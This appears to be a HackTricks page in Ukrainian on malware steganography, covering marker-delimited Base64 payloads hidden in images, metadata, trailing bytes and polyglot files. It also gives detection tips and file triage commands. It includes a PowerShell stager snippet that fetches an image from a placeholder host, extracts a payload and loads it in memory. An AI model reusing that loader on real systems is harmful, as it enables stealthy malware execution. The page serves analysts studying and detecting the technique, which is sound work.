Malware & Network Stego

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Не вся steganography — pixel LSB; поширене malware часто ховає payloads всередині інших, але валідних файлів.

Практичні шаблони

Payloads, розділені маркерами у валідних зображеннях

Якщо зображення завантажується й одразу парситься скриптом як текст/Base64, payload часто розділений маркерами, а не прихований на рівні pixel.

Commodity loaders все частіше ховають Base64 payloads як plain text всередині інших, але валідних зображень (зазвичай GIF/PNG). Замість pixel-level LSB, payload відокремлюється унікальними рядками-маркерами, вбудованими в текст/метадані файлу. Потім stager:

  • Завантажує зображення по HTTP(S)
  • Знаходить маркери початку/кінця
  • Витягує текст між ними та декодує його з Base64
  • Завантажує/виконує in-memory

Мінімальний PowerShell carving snippet:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Примітки:

  • ATT&CK: T1027.003 (steganography)
  • Виявлення/пошук:
  • Скануйте завантажені зображення на наявність рядків-роздільників.
  • Позначайте скрипти, які отримують зображення і одразу викликають процедури декодування Base64 (PowerShell FromBase64String, JS atob, тощо).
  • Шукайте невідповідності HTTP content-type (image/* response but body contains long ASCII/Base64).

Інші high-signal місця для приховування payloads

Ці місця зазвичай перевірити швидше, ніж content-level pixel stego:

  • Метадані: EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • Прикінцеві байти: дані, додані після формального маркера кінця (наприклад, після PNG IEND).
  • Вбудовані архіви: ZIP/7z вбудовано або додано в кінець і витягнуто завантажувачем.
  • Polyglots: файли, створені так, щоб бути валідними для декількох парсерів (наприклад, image + script + archive).

Команди для тріажу

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

Посилання:

  • Unit 42 приклад: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • Формати файлів polyglots та container tricks: https://github.com/corkami/docs
  • Aperi’Solve (веб-орієнтований stego triage): https://aperisolve.com/

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks